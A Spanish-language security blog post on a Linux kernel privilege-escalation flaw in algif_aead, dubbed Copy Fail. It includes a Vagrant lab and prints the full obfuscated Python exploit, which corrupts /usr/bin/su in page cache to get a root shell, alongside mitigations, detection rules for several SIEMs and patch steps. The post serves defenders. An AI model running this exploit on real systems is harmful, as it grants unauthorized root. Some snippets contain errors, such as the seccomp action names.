Inicio Linux & Systems Cybersecurity Cloud & DevOps Networks & Infrastructure SIEM & Monitoring DFIR & Threat Intel Development & Other Todas las categorias Herramientas

CVE-2026-31431 Copy Fail: escalada de privilegios en Linux desde 2017

CVE-2026-31431 Copy Fail: escalada de privilegios en Linux desde 2017

Tabla de contenidos

Que es Copy Fail (CVE-2026-31431)

Copy Fail es una vulnerabilidad de escalada local de privilegios (LPE) en el kernel Linux que afecta a todas las distribuciones desde 2017 hasta el parche. No es una race condition ni requiere offsets especificos del kernel: es un fallo logico directo en el subsistema crypto (algif_aead) que permite escribir 4 bytes arbitrarios en el page cache del kernel.

El exploit es un script Python de 732 bytes que funciona identico en Ubuntu, Debian, RHEL, SUSE, Amazon Linux y cualquier distro con kernel entre 4.14 y 6.19.11.

Datos clave

CampoValor
CVECVE-2026-31431
CVSS7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CWECWE-669 (Incorrect Resource Transfer Between Spheres)
Kernels afectados4.14 - 6.19.11
CISA KEVSi (fecha limite: 15 mayo 2026)
Exploit publicoSi (732 bytes, Python stdlib)
ComplejidadTrivial (sin race, sin offset, sin KASLR bypass)

Como funciona

  1. El exploit abre un socket AF_ALG de tipo aead con el algoritmo authencesn(hmac(sha256),cbc(aes))
  2. Usa splice() para mover paginas del page cache de un binario setuid (ej. /usr/bin/su) al socket
  3. Por un bug en el manejo in-place de algif_aead, las paginas quedan en el scatterlist de destino como escribibles
  4. El exploit escribe 4 bytes controlados sobre el binario setuid en page cache (no en disco)
  5. La proxima ejecucion de /usr/bin/su ejecuta el codigo modificado, que otorga root sin password

Lo critico es que no necesita root previo, ni capacidades especiales, ni acceso a red. Solo una cuenta local sin privilegios.

Escenarios de explotacion

Donde ES explotable

EscenarioRiesgoPor que
Servidores multi-tenant (jump hosts, build servers)CriticoCualquier usuario con shell obtiene root
Kubernetes / containersCriticoEl page cache es compartido entre host y pods. Escape de container trivial
CI runners (GitHub Actions self-hosted, GitLab, Jenkins)CriticoUn PR malicioso obtiene root en el runner
Cloud SaaS con ejecucion de codigo (notebooks, sandboxes)CriticoUn tenant compromete el host
Servidores single-tenantMedioLPE post-explotacion (cadena con RCE web o credenciales robadas)
Workstations/laptopsBajoSolo relevante si ya hay ejecucion de codigo local

Donde NO es explotable

EscenarioPor que
SFTP enjaulado (ChrootDirectory + ForceCommand internal-sftp)No hay ejecucion de comandos, no se puede crear socket AF_ALG ni ejecutar Python
Containers con seccomp estricto que bloquea socket(AF_ALG)La syscall es denegada antes de llegar al kernel crypto
Sistemas con kernel parcheado (>=6.19.12 o backports)El bug esta corregido
Sistemas sin modulo algif_aeadSin el modulo, no hay superficie de ataque

Nota sobre SFTP enjaulado: aunque el usuario no puede explotar Copy Fail directamente, si existe un escape de chroot previo o si la configuracion permite ejecucion de comandos (shell access), el escenario se convierte en explotable.

Lab: reproduccion con Vagrant

Requisitos

  • Vagrant >= 2.4
  • VirtualBox >= 7.0
  • Conexion a internet (para descargar box y exploit)

Desplegar la VM vulnerable

Crea el siguiente script deploy_copy_fail_lab.sh para desplegar el lab completo con un solo comando:

BASH
#!/bin/bash
# deploy_copy_fail_lab.sh - Lab para CVE-2026-31431 (Copy Fail)
# Uso: chmod +x deploy_copy_fail_lab.sh && ./deploy_copy_fail_lab.sh

LAB_DIR="copy_fail_lab"

echo "=== CVE-2026-31431 (Copy Fail) Lab ==="
echo "Creando directorio: $LAB_DIR"

mkdir -p "$LAB_DIR"

cat > "$LAB_DIR/Vagrantfile" << 'EOF'
# -*- mode: ruby -*-
# CVE-2026-31431 (Copy Fail) - Lab vulnerable
# Kernel afectado: 4.14 - 6.19.11

Vagrant.configure("2") do |config|
  config.vm.box = "debian/bookworm64"
  config.vm.hostname = "copy-fail-lab"

  config.vm.provider "virtualbox" do |vb|
    vb.name = "copy-fail-lab"
    vb.memory = "2048"
    vb.cpus = 2
  end

  config.vm.provision "shell", inline: <<-SHELL
    # No actualizar kernel para mantener version vulnerable
    apt-mark hold linux-image-amd64 linux-image-$(uname -r)

    # Instalar dependencias minimas
    apt-get update -qq
    apt-get install -y -qq python3 curl

    # Crear usuario sin privilegios para la prueba
    useradd -m -s /bin/bash attacker
    echo "attacker:attacker" | chpasswd

    # Descargar el exploit
    curl -sL https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/main/copy_fail_exp.py \
      -o /home/attacker/copy_fail_exp.py
    chown attacker:attacker /home/attacker/copy_fail_exp.py

    # Info del kernel
    echo ""
    echo "============================================"
    echo " CVE-2026-31431 Copy Fail Lab"
    echo " Kernel: $(uname -r)"
    echo "============================================"
    echo ""
    echo " Para explotar:"
    echo "   vagrant ssh"
    echo "   su - attacker  (pass: attacker)"
    echo "   python3 copy_fail_exp.py"
    echo ""
    echo " Para mitigar:"
    echo "   echo 'install algif_aead /bin/false' > /etc/modprobe.d/disable-algif.conf"
    echo "   rmmod algif_aead 2>/dev/null"
    echo "============================================"
  SHELL
end
EOF

echo ""
echo "Levantando VM..."
cd "$LAB_DIR" && vagrant up

echo ""
echo "Lab listo. Conecta con: cd $LAB_DIR && vagrant ssh"

Ejecutar:

BASH
chmod +x deploy_copy_fail_lab.sh
./deploy_copy_fail_lab.sh

El script crea el directorio, genera el Vagrantfile y levanta la VM automaticamente. Una vez finalizado, la VM estara lista con:

  • Debian Bookworm con kernel 6.1.0-29-amd64 (vulnerable)
  • Usuario attacker (password: attacker) sin privilegios
  • Exploit descargado en /home/attacker/copy_fail_exp.py
  • Kernel bloqueado para que apt upgrade no lo parchee

Verificar que el sistema es vulnerable

BASH
vagrant ssh

# Comprobar kernel en rango afectado
uname -r
# 6.1.0-29-amd64

# Comprobar que el modulo algif_aead esta cargado
lsmod | grep algif
# algif_aead             16384  0
# af_alg                 36864  1 algif_aead

Ejecutar el exploit

El exploit completo son 732 bytes de Python puro (sin dependencias externas):

PYTHON
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

Lo que hace paso a paso:

  1. Abre /usr/bin/su (binario setuid) en modo lectura
  2. Crea un socket AF_ALG con el algoritmo authencesn(hmac(sha256),cbc(aes))
  3. Usa splice() para mover paginas del page cache al socket
  4. El bug en algif_aead deja esas paginas como escribibles
  5. Escribe un payload comprimido (descomprimido con zlib) sobre el binario en memoria
  6. Ejecuta /usr/bin/su que ahora otorga root sin password

Ejecucion:

BASH
# Cambiar al usuario sin privilegios
su - attacker
# Password: attacker

# Verificar que somos usuario normal
id
# uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

# Ejecutar el exploit
python3 copy_fail_exp.py

# El exploit modifica /usr/bin/su en page cache y lo ejecuta
# Resultado: root shell sin password
id
# uid=0(root) gid=1001(attacker) groups=1001(attacker)

El exploit tarda menos de 1 segundo. No genera logs visibles en el sistema (no hay rastro en auth.log ni syslog de la corrupcion de page cache).

Limpiar despues de la prueba

La modificacion es solo en page cache (RAM). Un reboot limpia el binario:

BASH
# Desde root o vagrant
sync && reboot

Workarounds para entornos que no pueden parchear

En entornos productivos donde actualizar el kernel implica ventanas de mantenimiento, reinicio de servicios criticos o validaciones extensas, estos workarounds permiten mitigar la vulnerabilidad sin reiniciar.

Workaround 1: Deshabilitar el modulo algif_aead

Es el workaround oficial recomendado por Red Hat y la comunidad kernel. Deshabilita la interfaz userspace del crypto API de AEAD.

BASH
# 1. Evitar que se cargue en el futuro
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf

# 2. Descargar el modulo si esta cargado (no requiere reboot)
rmmod algif_aead 2>/dev/null

# 3. Verificar
lsmod | grep algif_aead
# (sin output = modulo descargado)

Que rompe esto:

  • No afecta a: dm-crypt/LUKS, kTLS, IPsec, OpenSSL/GnuTLS (usan crypto API directamente sin AF_ALG), SSH, WireGuard
  • Puede afectar a: aplicaciones que usen AF_ALG explicitamente (OpenSSL con engine afalg habilitado manualmente, algunos paths de crypto offload embebido)
  • Como verificar: lsof | grep AF_ALG o ss -xa | grep alg

Workaround 2: Bloquear AF_ALG con seccomp (para containers)

Para workloads containerizados, bloquear la creacion de sockets AF_ALG (familia 38) via seccomp:

JSON
{
  "defaultAction": "SCTP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket"],
      "action": "SCTP_ACT_ERRNO",
      "args": [
        {
          "index": 0,
          "value": 38,
          "op": "SCTP_CMP_EQ"
        }
      ]
    }
  ]
}

En Kubernetes, usar un seccompProfile en el pod:

YAML
apiVersion: v1
kind: Pod
metadata:
  name: secure-pod
spec:
  securityContext:
    seccompProfile:
      type: Localhost
      localhostProfile: profiles/block-af-alg.json
  containers:
    - name: app
      image: myapp:latest

Workaround 3: Regla de auditoria para deteccion

No previene la explotacion, pero alerta cuando alguien intenta usar AF_ALG:

BASH
# Detectar apertura de sockets AF_ALG (familia 38)
auditctl -a always,exit -F arch=b64 -S socket -F a0=38 -k copy_fail_attempt

# Verificar intentos
ausearch -k copy_fail_attempt

Integrar con tu SIEM (Wazuh, ELK) para alerta en tiempo real.

Workaround 4: Proteger binarios setuid con mount options

Remontar las particiones con binarios setuid como nosuid en las rutas que no los necesiten, o usar file immutable flags:

BASH
# Listar binarios setuid del sistema
find / -perm -4000 -type f 2>/dev/null

# Proteger con chattr (requiere ext4/xfs)
# ATENCION: esto puede romper funcionalidad. Solo para binarios no criticos.
chattr +i /usr/bin/su  # Hace el fichero inmutable

Nota: el flag immutable protege contra escritura en disco pero no contra corrupcion de page cache. Este workaround tiene utilidad limitada contra Copy Fail.

Verificar que el workaround funciona

Despues de aplicar el workaround 1 (descargar modulo), repetir el exploit:

BASH
su - attacker
python3 copy_fail_exp.py
# OSError: [Errno 2] No such file or directory
# o
# OSError: [Errno 97] Address family not supported by protocol

El exploit falla al no poder crear el socket AF_ALG.

Deteccion del ataque

Copy Fail no genera logs por defecto, lo que lo hace especialmente peligroso. Estas reglas permiten detectar intentos de explotacion o indicadores post-explotacion.

Regla auditd: detectar sockets AF_ALG

La base de toda la deteccion. Monitoriza la creacion de sockets de la familia 38 (AF_ALG):

BASH
# /etc/audit/rules.d/copy-fail.rules

# Detectar creacion de sockets AF_ALG (familia 38)
-a always,exit -F arch=b64 -S socket -F a0=38 -k copy_fail_af_alg

# Detectar uso de splice() en combinacion con ficheros setuid
-a always,exit -F arch=b64 -S splice -k copy_fail_splice

# Detectar acceso de lectura a binarios setuid por usuarios no-root
-a always,exit -F arch=b64 -S open -S openat -F path=/usr/bin/su -F perm=r -F auid>=1000 -k copy_fail_setuid_read
-a always,exit -F arch=b64 -S open -S openat -F path=/usr/bin/passwd -F perm=r -F auid>=1000 -k copy_fail_setuid_read
-a always,exit -F arch=b64 -S open -S openat -F path=/usr/bin/sudo -F perm=r -F auid>=1000 -k copy_fail_setuid_read

Cargar las reglas:

BASH
augenrules --load
# Verificar
ausearch -k copy_fail_af_alg -ts recent

Regla YARA: detectar el exploit en disco o memoria

YARA
rule CopyFail_CVE_2026_31431 {
    meta:
        description = "Detecta el exploit Copy Fail (CVE-2026-31431)"
        author = "Red Orbita"
        date = "2026-05-05"
        cve = "CVE-2026-31431"
        severity = "critical"

    strings:
        // Cadena del algoritmo AEAD usado por el exploit
        $algo = "authencesn(hmac(sha256),cbc(aes))" ascii

        // Socket AF_ALG (familia 38 = 0x26)
        $socket_af_alg = { 26 00 00 00 }

        // Payload comprimido zlib del exploit original
        $zlib_payload = "78daab77f57163626464800126063b06" ascii

        // Binding al tipo "aead"
        $bind_aead = "aead" ascii

        // Patron de la funcion splice con pipe
        $splice_pattern = /g\.splice\(.*offset_src=0\)/

        // Variante: import ofuscado
        $import_obf = "import os as g,zlib,socket as s" ascii

    condition:
        ($algo and $bind_aead) or
        ($zlib_payload) or
        ($import_obf and $splice_pattern) or
        (3 of them)
}

rule CopyFail_Modified_Setuid {
    meta:
        description = "Detecta binarios setuid potencialmente modificados por Copy Fail"
        author = "Red Orbita"
        date = "2026-05-05"
        severity = "high"

    strings:
        // Cabecera ELF valida
        $elf = { 7F 45 4C 46 }

        // Strings esperadas en /usr/bin/su legitimo
        $su_str1 = "setuid" ascii
        $su_str2 = "PAM" ascii

        // Patron sospechoso: shellcode inyectado tipico
        $shellcode_execve = { 48 31 c0 48 31 ff 48 31 f6 48 31 d2 }
        $shellcode_setuid = { 48 31 ff b0 69 0f 05 }

    condition:
        $elf at 0 and ($shellcode_execve or $shellcode_setuid)
}

Escanear el sistema:

BASH
# Escanear procesos en memoria
yara -p 4 copy_fail.yar /proc/*/exe 2>/dev/null

# Escanear directorios de usuarios
yara -r copy_fail.yar /home/ /tmp/ /var/tmp/ /dev/shm/

# Escanear binarios setuid
find / -perm -4000 -type f -exec yara copy_fail.yar {} \; 2>/dev/null

Reglas Wazuh: alerta en tiempo real

Anadir en /var/ossec/etc/rules/local_rules.xml:

XML
<group name="copy_fail,exploit,cve-2026-31431">

  <!-- Deteccion de socket AF_ALG via auditd -->
  <rule id="100500" level="14">
    <if_sid>80700</if_sid>
    <field name="audit.key">copy_fail_af_alg</field>
    <description>CVE-2026-31431: Intento de crear socket AF_ALG detectado (posible Copy Fail)</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Deteccion de splice sospechoso -->
  <rule id="100501" level="12">
    <if_sid>80700</if_sid>
    <field name="audit.key">copy_fail_splice</field>
    <description>CVE-2026-31431: Syscall splice detectada (indicador de Copy Fail)</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Lectura de binario setuid por usuario no privilegiado -->
  <rule id="100502" level="10">
    <if_sid>80700</if_sid>
    <field name="audit.key">copy_fail_setuid_read</field>
    <description>CVE-2026-31431: Lectura de binario setuid por usuario no-root</description>
    <mitre>
      <id>T1068</id>
    </mitre>
    <group>exploit_attempt,</group>
  </rule>

  <!-- Correlacion: AF_ALG + splice en menos de 5 segundos = alta probabilidad -->
  <rule id="100503" level="15" frequency="2" timeframe="5">
    <if_matched_sid>100500</if_matched_sid>
    <same_source_ip/>
    <description>CVE-2026-31431: Explotacion Copy Fail en curso (AF_ALG + splice correlados)</description>
    <mitre>
      <id>T1068</id>
      <id>T1548.001</id>
    </mitre>
    <group>exploit_attempt,attack,</group>
  </rule>

  <!-- Deteccion post-explotacion: escalada de privilegios repentina -->
  <rule id="100504" level="14">
    <if_sid>5303</if_sid>
    <match>session opened for user root</match>
    <description>CVE-2026-31431: Sesion root abierta (posible post-explotacion Copy Fail)</description>
    <mitre>
      <id>T1548.001</id>
    </mitre>
    <group>privilege_escalation,</group>
  </rule>

</group>

Reiniciar Wazuh manager:

BASH
systemctl restart wazuh-manager

Elastic Security (ELK/SIEM)

Regla de deteccion para Elastic Security usando EQL (Event Query Language) sobre datos de Auditbeat:

JSON
{
  "rule": {
    "name": "CVE-2026-31431 Copy Fail - AF_ALG Socket Creation",
    "description": "Detecta la creacion de sockets AF_ALG que pueden indicar explotacion de Copy Fail",
    "severity": "critical",
    "risk_score": 95,
    "type": "eql",
    "query": "process where event.action == \"socket\" and auditd.data.a0 == \"26\"",
    "threat": [
      {
        "framework": "MITRE ATT&CK",
        "tactic": {
          "id": "TA0004",
          "name": "Privilege Escalation"
        },
        "technique": [
          {
            "id": "T1068",
            "name": "Exploitation for Privilege Escalation"
          }
        ]
      }
    ],
    "tags": ["CVE-2026-31431", "Copy Fail", "LPE", "Linux"]
  }
}

Regla KQL alternativa para busquedas manuales en Kibana:

CODE
# Buscar creacion de sockets AF_ALG
auditd.data.syscall: "socket" AND auditd.data.a0: "26"

# Buscar uso de splice por usuarios no-root
auditd.data.syscall: "splice" AND user.id >= 1000

# Correlacion: usuario no-root que abre binario setuid + socket AF_ALG
auditd.data.key: ("copy_fail_af_alg" OR "copy_fail_splice" OR "copy_fail_setuid_read")

Dashboard recomendado: crear una alerta con threshold de 1 evento en ventana de 1 minuto sobre la query auditd.data.key: "copy_fail_af_alg".

Splunk

Queries SPL para detectar indicadores de Copy Fail:

SPL
| Deteccion principal: socket AF_ALG
index=linux sourcetype=linux:audit syscall=socket a0=26
| stats count by host, auid, exe, _time
| where auid >= 1000
| sort -_time

| Correlacion: AF_ALG + splice en ventana de 10 segundos
index=linux sourcetype=linux:audit (syscall=socket a0=26) OR (syscall=splice)
| transaction host auid maxspan=10s
| where eventcount >= 2
| table _time, host, auid, exe, syscall

| Deteccion de lectura de setuid por no-root
index=linux sourcetype=linux:audit key="copy_fail_setuid_read"
| stats count by host, auid, exe, name
| where count > 0

Alerta recomendada en Splunk:

SPL
| Alerta: posible explotacion Copy Fail
index=linux sourcetype=linux:audit key="copy_fail_af_alg"
| stats count as attempts by host, auid, exe
| where attempts >= 1
| eval severity="critical"
| eval description="CVE-2026-31431: Intento de explotacion Copy Fail detectado"

Configurar como Real-time alert con accion de notificacion inmediata y creacion de notable event en ES.

IBM QRadar

Regla personalizada para QRadar. Crear un custom rule con estos parametros:

Rule 1: Deteccion de AF_ALG socket

CODE
Rule Name: CVE-2026-31431 Copy Fail - AF_ALG Socket
Rule Type: Event
Log Source Type: Linux OS
Event Category: Audit
Condition:
  when the event matches ALL of the following:
    - Event Name contains "SYSCALL"
    - AND UTF8(Payload) contains "syscall=41" (socket)
    - AND UTF8(Payload) contains "a0=26" (AF_ALG)
    - AND UTF8(Payload) MATCHES "auid=[1-9][0-9]{3,}"
Action: Dispatch New Offense
Severity: 9 (Critical)
Credibility: 10

Rule 2: Correlacion multi-evento

CODE
Rule Name: CVE-2026-31431 Copy Fail - Exploitation Chain
Rule Type: Event (Sequence)
Log Source Type: Linux OS
Sequence:
  1. Event contains "syscall=41" AND "a0=26" (AF_ALG socket)
  2. FOLLOWED BY Event contains "syscall=275" (splice) within 10 seconds
  3. FROM same Source IP AND same Username
Action: Dispatch High Offense
Severity: 10 (Maximum)
MITRE: T1068, T1548.001

Building Block: Binario setuid leido por no-root

CODE
Rule Name: BB - Setuid Binary Read by Non-Root
Rule Type: Building Block
Condition:
  - Event Name contains "SYSCALL"
  - AND UTF8(Payload) contains "key=\"copy_fail_setuid_read\""
Note: Usar como dependencia de la Rule 2 para aumentar credibilidad

Custom Property (para parsear el campo a0 de auditd):

CODE
Property Name: Audit_Socket_Family
Property Type: Custom Event Property
Regex: a0=([0-9a-f]+)
Log Source: LinuxServer
Field Type: Numeric

Script de deteccion rapida

Para verificar si un sistema ha sido comprometido o es vulnerable:

BASH
#!/bin/bash
# check_copy_fail.sh - Verificar estado de CVE-2026-31431

echo "=== CVE-2026-31431 Copy Fail - Check ==="
echo ""

# 1. Verificar si el modulo esta cargado
if lsmod | grep -q algif_aead; then
    echo "[VULNERABLE] Modulo algif_aead cargado"
else
    echo "[OK] Modulo algif_aead NO cargado"
fi

# 2. Verificar version del kernel
KERNEL=$(uname -r)
echo "[INFO] Kernel: $KERNEL"

# 3. Buscar el exploit en el sistema
echo ""
echo "Buscando indicadores de compromiso..."
FOUND=0

# Buscar el script del exploit
grep -r "authencesn(hmac(sha256),cbc(aes))" /tmp /var/tmp /dev/shm /home 2>/dev/null && FOUND=1
grep -r "78daab77f571636264" /tmp /var/tmp /dev/shm /home 2>/dev/null && FOUND=1

# Buscar procesos sospechosos con AF_ALG
if ss -xa 2>/dev/null | grep -q alg; then
    echo "[ALERTA] Sockets AF_ALG activos detectados"
    ss -xa | grep alg
    FOUND=1
fi

# Verificar integridad de binarios setuid
echo ""
echo "Verificando binarios setuid..."
for bin in /usr/bin/su /usr/bin/sudo /usr/bin/passwd; do
    if [ -f "$bin" ]; then
        HASH=$(sha256sum "$bin" | awk '{print $1}')
        echo "  $bin: $HASH"
        # Comparar con hash conocido del paquete
        EXPECTED=$(dpkg -V $(dpkg -S "$bin" 2>/dev/null | cut -d: -f1) 2>/dev/null | grep "$bin")
        if [ -n "$EXPECTED" ]; then
            echo "  [ALERTA] Binario modificado: $EXPECTED"
            FOUND=1
        fi
    fi
done

echo ""
if [ $FOUND -eq 1 ]; then
    echo "[ALERTA] Se encontraron indicadores sospechosos"
else
    echo "[OK] No se encontraron indicadores de compromiso"
fi

Solucion definitiva: actualizar el kernel

El parche definitivo es el commit a664bf3d603d en mainline, que revierte la optimizacion in-place de 2017 en algif_aead.

Debian/Ubuntu

BASH
apt update && apt upgrade -y linux-image-amd64
reboot

RHEL/Rocky/Alma

BASH
dnf update kernel -y
reboot

Amazon Linux

BASH
dnf update kernel -y
reboot

Verificar el parche

BASH
uname -r
# Debe ser >= 6.1.128 (Debian), >= 6.19.12 (mainline)
# o la version con backport de tu distro

# Comprobar que el exploit ya no funciona
sudo -u attacker python3 /home/attacker/copy_fail_exp.py
# Debe fallar o no producir escalada

Plan de respuesta recomendado

Para equipos de seguridad y operaciones, este es un plan de accion escalonado:

PrioridadAccionTiempo
InmediataAplicar workaround 1 (rmmod algif_aead) en todos los hosts< 1 hora
InmediataDesplegar regla de auditoria (workaround 3)< 1 hora
24hAplicar seccomp en todos los clusters K8s (workaround 2)< 24h
72hPlanificar ventana de parche para hosts criticos< 72h
1 semanaActualizar kernel en todos los sistemas< 7 dias
Post-parcheEliminar workarounds y verificarTras reboot

Conclusiones

CVE-2026-31431 (Copy Fail) es probablemente la LPE mas grave en Linux de la ultima decada por su combinacion de:

  • Trivialidad: 732 bytes de Python, sin dependencias, sin race condition
  • Universalidad: afecta todo kernel Linux desde 2017
  • Fiabilidad: 100% de exito, sin crashes ni corrupcion visible
  • Sigilo: no genera logs, no modifica disco, desaparece con reboot

Para entornos que no pueden parchear inmediatamente, descargar el modulo algif_aead es la mitigacion mas rapida y con menor impacto. La gran mayoria de sistemas no usan AF_ALG para nada operativo.

Referencias

Comentarios